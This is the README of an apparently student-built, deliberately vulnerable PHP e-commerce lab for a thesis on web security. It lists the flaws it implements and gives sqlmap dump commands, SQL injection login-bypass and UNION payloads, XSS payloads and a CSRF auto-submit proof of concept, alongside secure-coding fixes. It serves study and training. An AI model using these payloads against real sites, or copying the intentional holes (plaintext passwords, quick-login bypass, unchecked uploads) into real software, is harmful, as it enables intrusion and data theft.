Skip to content

athrenX/TA

BranchesTags

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commit
database
database
 
 
docs
docs
 
 
includes
includes
 
 
load-tests
load-tests
 
 
public
public
 
 
.gitignore
.gitignore
 
 
README.md
README.md
 
 
php-sqlmap.ini
php-sqlmap.ini
 
 

Repository files navigation

Vulnerable E-commerce Website - Tugas Akhir

License: MIT PHP Version MySQL Version

🚨 PERINGATAN: Website ini sengaja dibuat RENTAN untuk tujuan penelitian dan edukasi!

📋 Daftar Isi

📖 Tentang Proyek

Proyek ini adalah implementasi website e-commerce yang sengaja dibuat rentan sebagai bagian dari penelitian Tugas Akhir tentang keamanan aplikasi web. Website ini dibangun menggunakan PHP dan MySQL dengan berbagai kerentanan keamanan yang umum ditemukan untuk tujuan pembelajaran dan demonstrasi teknik eksploitasi serta mitigasi.

Tujuan Penelitian

  • Mengidentifikasi dan mengimplementasikan kerentanan web umum (OWASP Top 10)
  • Melakukan analisis dan eksploitasi kerentanan menggunakan tools seperti SQLMap dan XSStrike
  • Mendemonstrasikan dampak dari setiap kerentanan
  • Mengembangkan dan menguji strategi mitigasi
  • Melakukan load testing dan stress testing untuk analisis performa

Target Pengguna

  • Peneliti keamanan
  • Mahasiswa yang belajar web security
  • Praktisi cybersecurity untuk training
  • Pengembang yang ingin memahami secure coding practices

✨ Fitur

Fitur Pengguna

  • 👤 Registrasi dan autentikasi pengguna
  • 🛍️ Katalog produk dengan pencarian dan filter
  • 🛒 Keranjang belanja
  • 💳 Sistem checkout dan pemesanan
  • 📦 Riwayat dan pelacakan pesanan
  • 📱 Quick login untuk testing (admin/user)

Fitur Admin

  • 📊 Dashboard dengan statistik
  • 📝 Manajemen produk (CRUD)
  • 🏷️ Manajemen kategori
  • 📦 Manajemen pesanan
  • 👥 Manajemen pengguna
  • 📋 Activity logs

Fitur Testing

  • 🔍 Debug mode (?debug=1)
  • 📝 Query display (?show_query=1)
  • 🚀 Quick login buttons
  • 📊 Load testing scripts
  • 🎯 WAF simulation

🔓 Kerentanan yang Diimplementasikan

1. SQL Injection (SQLi)

Lokasi:

  • public/product_detail.php?id= - Parameter ID rentan terhadap SQLi
  • public/login.php - Login form
  • public/products.php - Search dan filter

Contoh Eksploitasi:

# Menggunakan SQLMap
sqlmap -u "http://192.168.1.15:8000/product_detail.php?id=1" -p id --batch -D vulnerable_shop --tables

# Manual test
http://localhost/product_detail.php?id=1' OR '1'='1

Dampak:

  • Ekstraksi database lengkap
  • Bypass autentikasi
  • Modifikasi/hapus data
  • Remote code execution (dalam kondisi tertentu)

2. Cross-Site Scripting (XSS)

Tipe XSS:

  • Reflected XSS: Parameter ?message= di header
  • Stored XSS: Deskripsi produk, komentar
  • DOM-based XSS: Client-side JavaScript manipulation

Lokasi Rentan:

  • includes/header.php - Reflected XSS via $_GET['message']
  • public/assets/js/script.js - DOM sink innerHTML
  • public/admin/ajax_handler.php - Stored XSS

Contoh Eksploitasi:

// Reflected XSS - Console proof
http://localhost/?message=<img src=x onerror="console.log('XSS_PROOF')">

// Change document title
http://localhost/?message=<svg onload="document.title='HACKED'"></svg>

// DOM manipulation
http://localhost/?message=<img src=x onerror="document.body.appendChild(document.createTextNode('XSS'))">

Tools:

# XSStrike
python xsstrike.py -u "http://192.168.1.15:8000/?message=test"

Dampak:

  • Session hijacking
  • Credential theft
  • Defacement
  • Phishing attacks

3. Cross-Site Request Forgery (CSRF)

Lokasi:

  • Semua form tanpa CSRF token
  • State-changing operations via GET
  • Admin actions

Contoh Eksploitasi:

<!-- Delete product via CSRF -->
<img src="http://target.com/admin/delete_product.php?id=1">

<!-- Add admin user -->
<form action="http://target.com/admin/add_user.php" method="POST">
  <input name="username" value="hacker">
  <input name="role" value="admin">
</form>

4. Insecure Direct Object References (IDOR)

Lokasi:

  • public/orders.php?id= - Access other users' orders
  • public/admin/edit_order.php?id=

Contoh:

# Access other user's order
http://localhost/orders.php?id=123

5. Broken Authentication

Kerentanan:

  • Plaintext password storage
  • Weak session management
  • No account lockout
  • Predictable session IDs

Lokasi:

  • public/login.php
  • includes/config.php - Password handling

6. Sensitive Data Exposure

Masalah:

  • Database credentials in plain text (includes/config.php)
  • Error messages expose system information
  • Debug mode enabled (?debug=1)
  • phpinfo.php accessible

7. Security Misconfiguration

Contoh:

  • Exposed .git directory
  • Server information headers
  • Directory listing enabled
  • Debug features in production

8. Insecure File Upload

Lokasi:

  • Admin product image upload
  • No file type validation
  • No size restrictions
  • Executable files allowed

🔧 Instalasi

Prerequisites

  • PHP 7.4 atau lebih tinggi
  • MySQL 5.7 atau lebih tinggi
  • Web server (Apache/Nginx) atau XAMPP/WAMP
  • Git (untuk clone repository)

Langkah Instalasi

  1. Clone Repository
git clone https://github.com/athrenX/TA.git
cd TA
  1. Setup Database
# Buat database
mysql -u root -p

# Di MySQL prompt
CREATE DATABASE vulnerable_shop;
exit;

# Import database
mysql -u root -p vulnerable_shop < database/database.sql

Atau gunakan database enhanced:

mysql -u root -p vulnerable_shop < database/database_enhanced.sql
  1. Konfigurasi Database

Edit includes/config.php:

define('DB_HOST', 'localhost');
define('DB_USERNAME', 'root');
define('DB_PASSWORD', 'your_password');
define('DB_NAME', 'vulnerable_shop');
  1. Set Permissions
# Linux/Mac
chmod 755 public/uploads/

# Windows - beri write permission pada folder uploads
  1. Jalankan Server
# PHP Built-in Server (Development)
php -S localhost:8000 -t public

# Atau gunakan XAMPP/WAMP
# Copy folder ke htdocs/www
  1. Akses Website
http://localhost:8000

🎯 Penggunaan

Akun Default

Admin

  • Username: admin
  • Password: admin123
  • URL: http://localhost:8000/admin/

User Sample

  • Username: john_doe | Password: user123
  • Username: jane_smith | Password: user123

Quick Login (Testing)

?quick_login=admin  # Login sebagai admin
?quick_login=user   # Login sebagai user biasa

Debug Features

?debug=1           # Tampilkan debug info
?show_query=1      # Tampilkan SQL queries

🧪 Testing Kerentanan

SQL Injection Testing

Manual Testing:

-- Login bypass
username: admin' OR '1'='1' --
password: anything

-- Extract data
http://localhost/product_detail.php?id=1' UNION SELECT NULL,username,password,NULL FROM users--

Automated (SQLMap):

# Enumerate databases
sqlmap -u "http://localhost:8000/product_detail.php?id=1" --dbs

# Dump tables
sqlmap -u "http://localhost:8000/product_detail.php?id=1" -D vulnerable_shop --tables

# Dump users table
sqlmap -u "http://localhost:8000/product_detail.php?id=1" -D vulnerable_shop -T users --dump

XSS Testing

Manual Testing:

// Alert box
<script>alert('XSS')</script>

// Console log
<img src=x onerror="console.log('XSS')">

// Document manipulation
<svg onload="document.title='XSS'"></svg>

Automated (XSStrike):

git clone https://github.com/s0md3v/XSStrike.git
cd XSStrike
pip install -r requirements.txt
python xsstrike.py -u "http://localhost:8000/?message=test"

CSRF Testing

<!-- Create CSRF POC -->
<html>
  <body>
    <form action="http://localhost:8000/admin/delete_product.php" method="POST">
      <input type="hidden" name="id" value="1">
      <input type="submit" value="Click me!">
    </form>
    <script>document.forms[0].submit();</script>
  </body>
</html>

📁 Struktur Proyek

vulnerable-shop/
├── database/                   # Database files
│   ├── database.sql           # Basic database schema
│   └── database_enhanced.sql  # Enhanced with sample data
│
├── docs/                      # Documentation
│   ├── README.md             # Main documentation
│   ├── TA_EVIDENCE.md        # Evidence for thesis
│   ├── TA_REPORT_INDONESIAN.md
│   ├── DEPLOYMENT_GUIDE.md
│   ├── HOSTING_GUIDE.md
│   └── ...
│
├── includes/                  # Shared PHP includes
│   ├── config.php            # Database config & functions
│   ├── header.php            # Site header
│   ├── footer.php            # Site footer
│   └── order_card.php        # Order card component
│
├── load-tests/               # Performance testing
│   ├── k6-smoke.js          # K6 smoke test
│   ├── k6-stress.js         # K6 stress test
│   ├── k6-spike.js          # K6 spike test
│   ├── load.py              # Python load test
│   ├── waf_simulator.py     # WAF simulation
│   ├── run-all-tests.ps1    # Run all tests (PowerShell)
│   └── results/             # Test results
│
├── public/                   # Public web root
│   ├── index.php            # Homepage
│   ├── login.php            # User login
│   ├── register.php         # User registration
│   ├── products.php         # Product catalog
│   ├── product_detail.php   # Product details (SQLi vulnerable)
│   ├── cart.php             # Shopping cart
│   ├── checkout.php         # Checkout process
│   ├── orders.php           # Order history
│   ├── categories.php       # Categories page
│   ├── xss-test.php         # XSS testing page
│   │
│   ├── admin/               # Admin panel
│   │   ├── admin_products.php
│   │   ├── admin_orders.php
│   │   ├── admin_users.php
│   │   ├── admin_categories.php
│   │   ├── admin_logs.php
│   │   └── ajax_handler.php
│   │
│   ├── assets/              # Static assets
│   │   ├── css/
│   │   ├── js/
│   │   └── images/
│   │
│   └── uploads/             # User uploads
│
├── .gitignore               # Git ignore rules
└── README.md                # This file

📊 Load Testing

Project ini dilengkapi dengan comprehensive load testing tools.

Tools yang Digunakan

  1. K6 - Modern load testing tool
  2. Python requests - Custom load testing
  3. WAF Simulator - Simulate WAF attacks

Menjalankan Load Tests

# Install K6 (Windows)
choco install k6

# Smoke test (validasi basic functionality)
k6 run load-tests/k6-smoke.js

# Stress test (find breaking point)
k6 run load-tests/k6-stress.js

# Spike test (sudden traffic increase)
k6 run load-tests/k6-spike.js

# Run all tests (PowerShell)
cd load-tests
.\run-all-tests.ps1

# Python load test
python load-tests/load.py

# WAF simulation
python load-tests/waf_simulator.py

Test Results

Results disimpan di load-tests/results/:

  • CSV files untuk detailed metrics
  • JSON files untuk summary statistics

📚 Dokumentasi

Dokumentasi lengkap tersedia di folder docs/:

File Deskripsi
README.md Main documentation (English)
TA_EVIDENCE.md Evidence collection for thesis
TA_REPORT_INDONESIAN.md Indonesian thesis report
DEPLOYMENT_GUIDE.md Deployment instructions
HOSTING_GUIDE.md Hosting setup guide
DATABASE_HOSTING_GUIDE.md Database hosting guide
ADMIN_PANEL_GUIDE.md Admin panel documentation
ERROR_FIXES_COMPLETED.md Fixed issues log

🛡️ Rekomendasi Keamanan

Untuk membuat aplikasi ini aman, Anda perlu:

1. SQL Injection Prevention

// ❌ Vulnerable
$query = "SELECT * FROM products WHERE id = " . $_GET['id'];

// ✅ Secure - Use prepared statements
$stmt = $pdo->prepare("SELECT * FROM products WHERE id = ?");
$stmt->execute([$_GET['id']]);

2. XSS Prevention

// ❌ Vulnerable
echo $_GET['message'];

// ✅ Secure - Escape output
echo htmlspecialchars($_GET['message'], ENT_QUOTES, 'UTF-8');

3. CSRF Prevention

// Generate CSRF token
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));

// Validate on form submission
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    die('CSRF token validation failed');
}

4. Password Security

// ❌ Vulnerable - Plaintext
$password = $_POST['password'];

// ✅ Secure - Hash with bcrypt
$hashed = password_hash($_POST['password'], PASSWORD_BCRYPT);

// Verify
if (password_verify($input, $hashed)) {
    // Login successful
}

5. File Upload Security

// Validate file type
$allowed = ['jpg', 'jpeg', 'png', 'gif'];
$ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));

if (!in_array($ext, $allowed)) {
    die('Invalid file type');
}

// Rename file
$newName = uniqid() . '.' . $ext;

6. Access Control

// Check authentication
if (!isset($_SESSION['user_id'])) {
    header('Location: login.php');
    exit;
}

// Check authorization
if ($_SESSION['role'] !== 'admin') {
    die('Access denied');
}

⚠️ Disclaimer

PERINGATAN KEAMANAN PENTING

Aplikasi ini SENGAJA DIBUAT RENTAN dan TIDAK BOLEH digunakan dalam environment production atau server yang dapat diakses publik. Aplikasi ini dibuat HANYA UNTUK TUJUAN EDUKASI.

Ketentuan Penggunaan

✅ BOLEH digunakan untuk:

  • Penelitian akademis dan Tugas Akhir
  • Pembelajaran tentang keamanan web
  • Training dan workshop keamanan
  • Penetration testing practice di environment terkontrol
  • Security awareness training

❌ TIDAK BOLEH digunakan untuk:

  • Production environment
  • Server yang dapat diakses publik
  • Menyimpan data nyata/sensitif
  • Aktivitas ilegal atau tidak etis
  • Attacking sistem tanpa izin

Tanggung Jawab

  • Jalankan aplikasi HANYA di environment terisolasi (localhost/VM/lab network)
  • JANGAN deploy ke internet atau hosting publik
  • JANGAN gunakan credential/data nyata
  • JANGAN gunakan code ini di aplikasi production
  • Author TIDAK BERTANGGUNG JAWAB atas penyalahgunaan kode ini

Etika Penggunaan

Proyek ini dibuat untuk meningkatkan pemahaman tentang keamanan web dan membantu developer membangun aplikasi yang lebih aman. Gunakan pengetahuan ini secara bertanggung jawab dan etis.

"With great power comes great responsibility"

🔬 Untuk Keperluan Penelitian

Reproduksi Hasil

  1. Setup environment sesuai panduan instalasi
  2. Jalankan tools testing (SQLMap, XSStrike)
  3. Dokumentasikan hasil dengan screenshot
  4. Simpan artefak di docs/TA_EVIDENCE.md

Artefak yang Perlu Dikumpulkan

  • Command yang digunakan (copy-paste exact command)
  • Screenshot terminal output
  • Screenshot browser (reflected payload)
  • Developer Tools screenshots
  • Exported data (redacted)
  • Load testing results

Isolasi & Safety

# Run server only on localhost
php -S 127.0.0.1:8000 -t public

# Use VM/isolated network
# Take database snapshots before testing
# Rotate credentials after testing

📄 Lisensi

MIT License - Proyek ini dibuat untuk tujuan edukasi.

Copyright (c) 2025 - Vulnerable Shop TA Project

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

👤 Author

Tugas Akhir - Web Application Security Research

Repository: https://github.com/athrenX/TA

📞 Kontak

Untuk pertanyaan terkait proyek edukasi ini atau diskusi tentang keamanan web, silakan hubungi melalui:

🙏 Acknowledgments

  • OWASP Top 10 untuk guideline kerentanan
  • SQLMap project untuk SQL injection testing
  • XSStrike project untuk XSS testing
  • K6 untuk load testing tools
  • Community security researchers

📈 Project Status

Status: Active Development (Tugas Akhir Research)

Last Updated: January 2026

Version: 1.0.0

🔄 Updates & Changelog

Version 1.0.0 (January 2026)

  • ✅ Initial release dengan 8+ kerentanan teridentifikasi
  • ✅ Complete documentation dalam Bahasa Indonesia
  • ✅ Load testing suite dengan K6 & Python
  • ✅ Admin panel dengan comprehensive features
  • ✅ Sample data dan quick login untuk testing
  • ✅ Comprehensive evidence collection untuk TA

⚡ Remember: Learn to defend by understanding attacks. Use this knowledge responsibly! ⚡

About

No description, website, or topics provided.

Resources

Readme
Activity

Stars

0 stars

Watchers

0 watching

Forks

0 forks
Report repository

Releases

No releases published

Packages

 
 
 

Contributors

Languages